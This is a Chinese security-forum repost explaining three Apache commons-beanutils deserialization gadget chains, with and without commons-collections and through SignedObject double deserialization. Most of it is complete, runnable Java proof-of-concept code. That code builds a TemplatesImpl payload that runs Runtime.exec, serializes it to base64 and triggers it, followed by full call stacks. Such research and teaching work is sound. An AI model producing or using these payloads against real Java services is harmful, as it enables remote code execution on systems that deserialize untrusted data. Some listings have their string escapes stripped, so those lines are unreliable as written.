安全矩阵

 找回密码
 立即注册
搜索
查看: 810|回复: 0

commons-beanutils 的三种利用原理构造与POC

[复制链接]

252

主题

252

帖子

1307

积分

金牌会员

Rank: 6Rank: 6

积分
1307
发表于 2022-10-11 22:34:18 | 显示全部楼层 |阅读模式
原文链接:commons-beanutils 的三种利用原理构造与POC


写在前面


commons-beanutils 是 Apache 提供的一个用于操作 JAVA bean 的工具包。里面提供了各种各样的工具类,让我们可以很方便的对bean对象的属性进行各种操作。

其中比较常使用的有:

MethodUtils/ConstructorUtils/PropertyUtils/BeanUtils/ConvertUtils等。

分析


在之前CC链的分析中就有着一条链是通过java.util.PriorityQueue的readObject来触发的,相信大家都有印象。

主要是通过调用了其comparator的compare方法,进而调用了transform链的调用,看一下之前的调用链。
* Gadget chain: *      ObjectInputStream.readObject() *          PriorityQueue.readObject() *              PriorityQueue.heapify() *                  PriorityQueue.siftDown() *                 PriorityQueue.siftDownUsingComparator() *                     TransformingComparator.compare() *                         InvokerTransformer.transform() *                             Method.invoke() *                                 TemplatesImpl.newTransformer() *                                     TemplatesImpl.getTransletInstance() *                                         Runtime.exec()(向右滑动,查看更多)

而CB链的思路就是,将其中的comparator替换成commons-beanutils库中的某个comparator,达到我们的目的。我们可以通过Codeql进行查看一下CB库中有哪些Comparator。

编辑

存在有一个BeanComparator这个类。
BeanComparator
这个类是用来判断两个Bean是否相等的类,跟进一下构造方法。

编辑

在创建类的对象的时候可以为comparator赋予特定的比较器,值得注意的是如果没有设定自定义的comparator,其默认为ComparableComparator对象,当然,在调用链中,将会调用他的compare方法。

编辑

在方法中,将会通过调用PropertyUtils.getProperty将会取出两个对象的property属性值,之后调用internalCompare通过在创建BeanComparator对象是创建的比较器。

编辑
PropertyUtils
而对于在其中调用的getProperty方法。

编辑

接收两个参数 bean (类对象)和 name(属性名),方法会返回这个类的这个属性的值,但是他不是直接通过反射取值,而是通过反射调用getter方法获取属性,进而经过恶意的构造,我们可以触发任意的getter方法。

编辑
构造利用

依赖CC库
那么我就就可以按照上面分析的思路构造利用了。我们的目标是通过触发任意的getter方法,达到调用TemplatesImpl#getOutputProperties方法执行命令。

首先我们需要创建一个恶意的TemplatesImpl类。
//动态创建字节码String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";ClassPool pool = ClassPool.getDefault();CtClass ctClass = pool.makeClass("EVil");ctClass.makeClassInitializer().insertBefore(cmd);ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));byte[] bytes = ctClass.toBytecode();TemplatesImpl templates = new TemplatesImpl();setFieldValue(templates, "_name", "RoboTerh");setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());setFieldValue(templates, "_bytecodes", new byte[][]{bytes});(向右滑动,查看更多)

我是通过javassist库进行创建恶意类生成字节码的,同样可以通过创建一个实类进行获取,特别注意的是对于TemplatesImpl利用链来说,其恶意类需要继承AbstractTranslet类。

之后我们创建一个比较器和PriorityQueue类,并将恶意类放入queue属性中。

//创建比较器BeanComparator beanComparator = new BeanComparator()riorityQueue queue = new PriorityQueue(2, beanComparator);queue.add(1);queue.add(1);//反射赋值setFieldValue(beanComparator, "property", "outputProperties");setFieldValue(queue, "queue", new Object[]{templates, templates});(向右滑动,查看更多)

完整的POC

  1. package pers.cb;

  2. import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
  3. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
  4. import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
  5. import javassist.CannotCompileException;
  6. import javassist.ClassPool;
  7. import javassist.CtClass;
  8. import javassist.NotFoundException;
  9. import org.apache.commons.beanutils.BeanComparator;

  10. import java.io.*;
  11. import java.lang.reflect.Field;
  12. import java.util.Base64;
  13. import java.util.PriorityQueue;

  14. public class CB_withCC {
  15.     public static void setFieldValue(Object obj, String fieldname, Object value) throws NoSuchFieldException, IllegalAccessException {
  16.         Field field = obj.getClass().getDeclaredField(fieldname);
  17.         field.setAccessible(true);
  18.         field.set(obj, value);
  19.     }
  20.     public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, NotFoundException, IOException, CannotCompileException, ClassNotFoundException {
  21.         //动态创建字节码
  22.         String cmd = "java.lang.Runtime.getRuntime().exec("calc");";
  23.         ClassPool pool = ClassPool.getDefault();
  24.         CtClass ctClass = pool.makeClass("EVil");
  25.         ctClass.makeClassInitializer().insertBefore(cmd);
  26.         ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
  27.         byte[] bytes = ctClass.toBytecode();

  28.         TemplatesImpl templates = new TemplatesImpl();
  29.         setFieldValue(templates, "_name", "RoboTerh");
  30.         setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
  31.         setFieldValue(templates, "_bytecodes", new byte[][]{bytes});

  32.         //创建比较器
  33.         BeanComparator beanComparator = new BeanComparator();
  34.         PriorityQueue queue = new PriorityQueue(2, beanComparator);
  35.         queue.add(1);
  36.         queue.add(1);

  37.         //反射赋值
  38.         setFieldValue(beanComparator, "property", "outputProperties");
  39.         setFieldValue(queue, "queue", new Object[]{templates, templates});

  40.         //序列化
  41.         ByteArrayOutputStream baor = new ByteArrayOutputStream();
  42.         ObjectOutputStream oos = new ObjectOutputStream(baor);
  43.         oos.writeObject(queue);
  44.         oos.close();
  45.         System.out.println(new String(Base64.getEncoder().encode(baor.toByteArray())));

  46.         //反序列化
  47.         ByteArrayInputStream bais = new ByteArrayInputStream(baor.toByteArray());
  48.         ObjectInputStream ois = new ObjectInputStream(bais);
  49.         Object o = ois.readObject();
  50.         baor.close();
  51.     }
  52. }
复制代码


(向右滑动,查看更多)

编辑

调用栈。
  1. exec:347, Runtime (java.lang)
  2. <clinit>:-1, EVil
  3. newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
  4. newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
  5. newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
  6. newInstance:423, Constructor (java.lang.reflect)
  7. newInstance:442, Class (java.lang)
  8. getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
  9. newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
  10. getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
  11. invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
  12. invoke:62, NativeMethodAccessorImpl (sun.reflect)
  13. invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
  14. invoke:498, Method (java.lang.reflect)
  15. invokeMethod:2128, PropertyUtilsBean (org.apache.commons.beanutils)
  16. getSimpleProperty:1279, PropertyUtilsBean (org.apache.commons.beanutils)
  17. getNestedProperty:809, PropertyUtilsBean (org.apache.commons.beanutils)
  18. getProperty:885, PropertyUtilsBean (org.apache.commons.beanutils)
  19. getProperty:464, PropertyUtils (org.apache.commons.beanutils)
  20. compare:163, BeanComparator (org.apache.commons.beanutils)
  21. siftDownUsingComparator:722, PriorityQueue (java.util)
  22. siftDown:688, PriorityQueue (java.util)
  23. heapify:737, PriorityQueue (java.util)
  24. readObject:797, PriorityQueue (java.util)
  25. invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
  26. invoke:62, NativeMethodAccessorImpl (sun.reflect)
  27. invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
  28. invoke:498, Method (java.lang.reflect)
  29. invokeReadObject:1170, ObjectStreamClass (java.io)
  30. readSerialData:2178, ObjectInputStream (java.io)
  31. readOrdinaryObject:2069, ObjectInputStream (java.io)
  32. readObject0:1573, ObjectInputStream (java.io)
  33. readObject:431, ObjectInputStream (java.io)
  34. main:57, CB_withCC (pers.cb)
复制代码


(向右滑动,查看更多)

但是上面的链子存在一个问题,如果我们将CC库的依赖去调用,将不能执行命令,为什么呢?

在前面对BeanComparator的分析中,提到了,在创建类对象的时候,将会判断是否存在有comparator属性值,如果没有将会创建一个ComparableComparator对象。
​编辑​



不幸的是,这个类是存在commons-collections的类,如果没有这个依赖,在反序列化的过程中将会抛出异常。当然同样有着解决的办法!
不依赖CC库

前面提到了,对于没有CC依赖的原因是,默认下的comparator,是CC依赖中的类,如果我们在创建类的时候赋予了一个在JDK或者commons-beanutils依赖中存在的comparator并且实现了Serializable接口就行了。

对于commons-beanutils中,只有BeanComparator这一个类满足,我们查找一下JDK中的类。

存在很多很多,常用的为java.util.Collections$ReverseComparator或者java.lang.String$CaseInsensitiveComparator

我们只需要反射将对应的comparator写入属性中,就不需要依赖CC库了。
//反射赋值setFieldValue(beanComparator, "property", "outputProperties");//下面这两个二选一都可以//setFieldValue(beanComparator, "comparator", String.CASE_INSENSITIVE_ORDER);setFieldValue(beanComparator, "comparator", Collections.reverseOrder());setFieldValue(queue, "queue", new Object[]{templates, templates});(向右滑动,查看更多)

完整的POC。
  1. package pers.cb;

  2. import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
  3. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
  4. import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
  5. import javassist.CannotCompileException;
  6. import javassist.ClassPool;
  7. import javassist.CtClass;
  8. import javassist.NotFoundException;
  9. import org.apache.commons.beanutils.BeanComparator;

  10. import java.io.*;
  11. import java.lang.reflect.Field;
  12. import java.util.Base64;
  13. import java.util.Collections;
  14. import java.util.PriorityQueue;

  15. public class CB_withoutCC {
  16.     public static void setFieldValue(Object obj, String fieldname, Object value) throws NoSuchFieldException, IllegalAccessException {
  17.         Field field = obj.getClass().getDeclaredField(fieldname);
  18.         field.setAccessible(true);
  19.         field.set(obj, value);
  20.     }
  21.     public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, NotFoundException, IOException, CannotCompileException, ClassNotFoundException {
  22.         //动态创建字节码
  23.         String cmd = "java.lang.Runtime.getRuntime().exec("calc");";
  24.         ClassPool pool = ClassPool.getDefault();
  25.         CtClass ctClass = pool.makeClass("Evil");
  26.         ctClass.makeClassInitializer().insertBefore(cmd);
  27.         ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
  28.         byte[] bytes = ctClass.toBytecode();

  29.         TemplatesImpl templates = new TemplatesImpl();
  30.         setFieldValue(templates, "_name", "RoboTerh");
  31.         setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
  32.         setFieldValue(templates, "_bytecodes", new byte[][]{bytes});

  33.         //创建比较器
  34.         BeanComparator beanComparator = new BeanComparator();
  35.         PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
  36.         queue.add(1);
  37.         queue.add(1);

  38.         //反射赋值
  39.         setFieldValue(beanComparator, "property", "outputProperties");
  40.         //下面这两个二选一都可以
  41.         //setFieldValue(beanComparator, "comparator", String.CASE_INSENSITIVE_ORDER);
  42.         setFieldValue(beanComparator, "comparator", Collections.reverseOrder());
  43.         setFieldValue(queue, "queue", new Object[]{templates, templates});

  44.         //序列化
  45.         ByteArrayOutputStream baor = new ByteArrayOutputStream();
  46.         ObjectOutputStream oos = new ObjectOutputStream(baor);
  47.         oos.writeObject(queue);
  48.         oos.close();
  49.         System.out.println(new String(Base64.getEncoder().encode(baor.toByteArray())));

  50.         //反序列化
  51.         ByteArrayInputStream bais = new ByteArrayInputStream(baor.toByteArray());
  52.         ObjectInputStream ois = new ObjectInputStream(bais);
  53.         Object o = ois.readObject();
  54.         baor.close();
  55.     }
  56. }
复制代码


(向右滑动,查看更多)

编辑
二次反序列化

同样可以通过二次反序列化的方式触发利用链,在SignedObject#getObject方法中。

编辑

能够对类对象的content属性中的数据进行反序列化,如果我们能够添加自定义content属性值,替换成序列化数据,就能够达到恶意目的,我们看看构造方法。
​编辑​



很好,只需要传入一个实现了java.io.Serializable接口的对象做为第一个参数,那么将会将其进行序列化之后将字节传给content属性,那么就可以构造了。

创建一个恶意对象。

PriorityQueue queue1 = getpayload(obj, "outputProperties");
(向右滑动,查看更多)

将这个对象传入SignedObject类中。
  1. KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
  2. kpg.initialize(1024);
  3. KeyPair kp = kpg.generateKeyPair();
  4. SignedObject signedObject = new SignedObject(queue1, kp.getPrivate(), Signature.getInstance("DSA"));
复制代码


(向右滑动,查看更多)

完整的POC。

  1. package pers.cb;

  2. import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
  3. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
  4. import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
  5. import javassist.ClassPool;
  6. import javassist.CtClass;
  7. import org.apache.commons.beanutils.BeanComparator;

  8. import java.io.ByteArrayInputStream;
  9. import java.io.ByteArrayOutputStream;
  10. import java.io.ObjectInputStream;
  11. import java.io.ObjectOutputStream;
  12. import java.lang.reflect.Field;
  13. import java.security.KeyPair;
  14. import java.security.KeyPairGenerator;
  15. import java.security.Signature;
  16. import java.security.SignedObject;
  17. import java.util.Base64;
  18. import java.util.PriorityQueue;

  19. public class CB_withoutCC_twice_deserialization {
  20.     public static void setFieldValue(Object obj, String field, Object value) throws Exception{
  21.         Field declaredField = obj.getClass().getDeclaredField(field);
  22.         declaredField.setAccessible(true);
  23.         declaredField.set(obj, value);
  24.     }
  25.     public static PriorityQueue<Object> getpayload(Object object, String string) throws Exception {
  26.         BeanComparator beanComparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
  27.         PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator);
  28.         priorityQueue.add("1");
  29.         priorityQueue.add("2");
  30.         setFieldValue(beanComparator, "property", string);
  31.         setFieldValue(priorityQueue, "queue", new Object[]{object, null});
  32.         return priorityQueue;
  33.     }
  34.     public static void main(String[] args) throws Exception {
  35.         //生成恶意的bytecodes
  36.         String cmd = "java.lang.Runtime.getRuntime().exec("calc");";
  37.         ClassPool classPool = ClassPool.getDefault();
  38.         CtClass ctClass = classPool.makeClass("evilexp");
  39.         ctClass.makeClassInitializer().insertBefore(cmd);
  40.         ctClass.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
  41.         byte[] bytes = ctClass.toBytecode();

  42.         TemplatesImpl obj = new TemplatesImpl();
  43.         setFieldValue(obj, "_bytecodes", new byte[][]{ bytes });
  44.         setFieldValue(obj, "_name", "RoboTerh");
  45.         setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

  46.         PriorityQueue queue1 = getpayload(obj, "outputProperties");

  47.         KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
  48.         kpg.initialize(1024);
  49.         KeyPair kp = kpg.generateKeyPair();
  50.         SignedObject signedObject = new SignedObject(queue1, kp.getPrivate(), Signature.getInstance("DSA"));

  51.         PriorityQueue queue2 = getpayload(signedObject, "object");

  52.         //序列化
  53.         ByteArrayOutputStream baor = new ByteArrayOutputStream();
  54.         ObjectOutputStream oos = new ObjectOutputStream(baor);
  55.         oos.writeObject(queue2);
  56.         oos.close();
  57.         System.out.println(new String(Base64.getEncoder().encode(baor.toByteArray())));

  58.         //反序列化
  59.         ByteArrayInputStream bais = new ByteArrayInputStream(baor.toByteArray());
  60.         ObjectInputStream ois = new ObjectInputStream(bais);
  61.         Object o = ois.readObject();
  62.         baor.close();
  63.     }
  64. }
复制代码


(向右滑动,查看更多)

编辑
调用栈。
  1. exec:347, Runtime (java.lang)
  2. <clinit>:-1, evilexp
  3. newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
  4. newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
  5. newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
  6. newInstance:423, Constructor (java.lang.reflect)
  7. newInstance:442, Class (java.lang)
  8. getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
  9. newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
  10. getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
  11. invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
  12. invoke:62, NativeMethodAccessorImpl (sun.reflect)
  13. invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
  14. invoke:498, Method (java.lang.reflect)
  15. invokeMethod:2128, PropertyUtilsBean (org.apache.commons.beanutils)
  16. getSimpleProperty:1279, PropertyUtilsBean (org.apache.commons.beanutils)
  17. getNestedProperty:809, PropertyUtilsBean (org.apache.commons.beanutils)
  18. getProperty:885, PropertyUtilsBean (org.apache.commons.beanutils)
  19. getProperty:464, PropertyUtils (org.apache.commons.beanutils)
  20. compare:163, BeanComparator (org.apache.commons.beanutils)
  21. siftDownUsingComparator:722, PriorityQueue (java.util)
  22. siftDown:688, PriorityQueue (java.util)
  23. heapify:737, PriorityQueue (java.util)
  24. readObject:797, PriorityQueue (java.util)
  25. invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
  26. invoke:62, NativeMethodAccessorImpl (sun.reflect)
  27. invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
  28. invoke:498, Method (java.lang.reflect)
  29. invokeReadObject:1170, ObjectStreamClass (java.io)
  30. readSerialData:2178, ObjectInputStream (java.io)
  31. readOrdinaryObject:2069, ObjectInputStream (java.io)
  32. readObject0:1573, ObjectInputStream (java.io)
  33. readObject:431, ObjectInputStream (java.io)
  34. getObject:179, SignedObject (java.security)
  35. invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
  36. invoke:62, NativeMethodAccessorImpl (sun.reflect)
  37. invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
  38. invoke:498, Method (java.lang.reflect)
  39. invokeMethod:2128, PropertyUtilsBean (org.apache.commons.beanutils)
  40. getSimpleProperty:1279, PropertyUtilsBean (org.apache.commons.beanutils)
  41. getNestedProperty:809, PropertyUtilsBean (org.apache.commons.beanutils)
  42. getProperty:885, PropertyUtilsBean (org.apache.commons.beanutils)
  43. getProperty:464, PropertyUtils (org.apache.commons.beanutils)
  44. compare:163, BeanComparator (org.apache.commons.beanutils)
  45. siftDownUsingComparator:722, PriorityQueue (java.util)
  46. siftDown:688, PriorityQueue (java.util)
  47. heapify:737, PriorityQueue (java.util)
  48. readObject:797, PriorityQueue (java.util)
  49. invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
  50. invoke:62, NativeMethodAccessorImpl (sun.reflect)
  51. invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
  52. invoke:498, Method (java.lang.reflect)
  53. invokeReadObject:1170, ObjectStreamClass (java.io)
  54. readSerialData:2178, ObjectInputStream (java.io)
  55. readOrdinaryObject:2069, ObjectInputStream (java.io)
  56. readObject0:1573, ObjectInputStream (java.io)
  57. readObject:431, ObjectInputStream (java.io)
  58. main:70, CB_withoutCC_twice_deserialization (pers.cb)
复制代码




回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-3-29 18:50 , Processed in 0.013494 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表